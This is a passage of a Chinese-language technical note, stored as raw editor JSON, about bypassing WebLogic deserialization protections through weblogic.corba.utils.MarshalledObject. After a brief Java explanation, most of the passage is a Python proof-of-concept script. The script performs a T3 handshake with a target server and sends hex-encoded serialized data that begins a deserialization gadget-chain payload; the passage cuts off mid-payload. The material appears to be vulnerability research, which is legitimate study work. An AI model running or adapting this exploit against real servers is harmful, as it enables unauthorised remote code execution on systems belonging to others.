}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ubgO-1673884872372&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7VSO-1673884872371&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SCvn-1673884872374&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aQTf-1673884872373&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DIP7-1673884872376&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FT1J-1673884872375&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public Object readResolve() throws IOException, ClassNotFoundException, ObjectStreamException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HKNR-1673884872378&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Kbkx-1673884872377&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (this.objBytes == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xuIb-1673884872380&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MtFY-1673884872379&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return null;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VtXd-1673884872382&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DL4j-1673884872381&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3A1z-1673884872384&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aXd1-1673884872383&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ByteArrayInputStream var1 = new ByteArrayInputStream(this.objBytes);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qQny-1673884872386&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dFXy-1673884872385&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ObjectInputStream var2 = new ObjectInputStream(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5ZWp-1673884872388&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WmMB-1673884872387&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Object var3 = var2.readObject();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Llva-1673884872390&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9YEV-1673884872389&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var2.close();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SEDz-1673884872392&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7A1D-1673884872391&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return var3;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cn9g-1673884872394&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eDwI-1673884872393&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bZQs-1673884872396&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lkyJ-1673884872395&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zdny-1673883241049&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;V06C-1673883241047&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;MarshalledObject并未重写&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]},{&#34;text&#34;:&#34;readObject方法或实现readExternal方法，使用原生的&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;ObjectInputStream方法实现反序列化。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LADH-1673885150353&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7tYF-1673885150352&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;R9sj-1673885150351&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;weblogic.corba.utils.MarshalledObject marshalledObject = new MarshalledObject(payload_here);&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5iJb-1673883241528&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;c3NP-1673883241526&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;直接用&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;MarshalledObject的构造方法生成对象，封装反序列化流：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bSVB-1673885773909&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5207/WEBRESOURCEdffb245e8291b93f43561013a0912372&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EIql-1673861452399&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CTvx-1673861452398&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;y9Y6-1673886011236&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0EHs-1673886011233&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;还是使用上文中的poc脚本：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;49an-1673886049175&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1Zo1-1673886049046&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;b2ND-1673886049045&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import binascii&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1kaL-1673886074102&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;O4Ay-1673886074101&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import socket&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ClWH-1673886074104&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cvp4-1673886074103&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import struct&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tEJH-1673886074106&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;n7FM-1673886074105&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import subprocess&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KBb9-1673886074108&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7wEe-1673886074107&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import time&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ONHJ-1673886074110&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZjHI-1673886074109&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from multiprocessing.managers import SyncManager&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Aagr-1673886074112&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8G1T-1673886074111&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from typing import Any, Dict, List, Mapping, Tuple, Union&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0sjj-1673886074114&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;78cX-1673886074113&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K6hN-1673886074117&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9N34-1673886074115&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from stars import target_type, Star&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;khsl-1673886074119&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XUr3-1673886074118&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;p37j-1673886074121&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QJW1-1673886074120&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;def light_up( dip, dport, force_ssl=None, delay=1, timeout=5, *args, **kwargs) -&gt; (bool, dict):&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gcAt-1673886074123&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;j16o-1673886074122&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # T3协议握手&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RQkL-1673886074125&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QylG-1673886074124&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        dport = int(dport)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;olzu-1673886074127&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5dh1-1673886074126&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;egMg-1673886074129&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7rca-1673886074128&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.settimeout(timeout)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yLSv-1673886074131&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OaQ6-1673886074130&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Tf2a-1673886074133&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XvuU-1673886074132&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            sock.connect((dip, dport))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fwX5-1673886074135&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2UCP-1673886074134&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        except socket.timeout:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;chqS-1673886074137&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2zlE-1673886074136&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return False, {&#39;msg&#39;: &#39;connection timeout.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AANv-1673886074139&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HZul-1673886074138&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        except ConnectionRefusedError:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KRtU-1673886074141&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5iUn-1673886074140&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return False, {&#39;msg&#39;: &#39;connection refuse.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SWIx-1673886074143&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QIjQ-1673886074142&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.send(bytes.fromhex(&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VUJA-1673886074145&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fSe7-1673886074144&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            &#39;74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a&#39;))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0ssj-1673886074147&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6fWr-1673886074146&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        time.sleep(delay)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qtuj-1673886074149&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cwNA-1673886074148&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.recv(1024)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JCM8-1673886074151&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DLuS-1673886074150&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ozRt-1673886074153&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;35Mi-1673886074152&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # 构造T3协议头&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lydc-1673886074155&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;By3x-1673886074154&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data1 = &#39;000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oV2z-1673886074157&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2B83-1673886074156&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data2 = &#39;007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07&#39;.format(&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yn1c-1673886074159&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IguK-1673886074158&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            &#39;{:04x}&#39;.format(dport))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Skeb-1673886074161&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SQDt-1673886074160&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data3 = &#39;1a7727000d3234322e323134&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oO9i-1673886074163&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sg44-1673886074162&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data4 = &#39;2e312e32353461863d1d0000000078&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yLin-1673886074165&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uZrH-1673886074164&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        for d in [data1, data2, data3, data4]:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;345J-1673886074167&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;i7eL-1673886074166&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            sock.send(bytes.fromhex(d))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ANqP-1673886074169&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fNh9-1673886074168&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload = &#39;056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ptnL-1673886074171&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WK4o-1673886074170&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aYVo-1673886074173&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QWux-1673886074172&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # -------- 经MarshalledObject封装的反序列化利用链payload --------&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9fAF-1673886074175&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0vuD-1673886074174&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload += 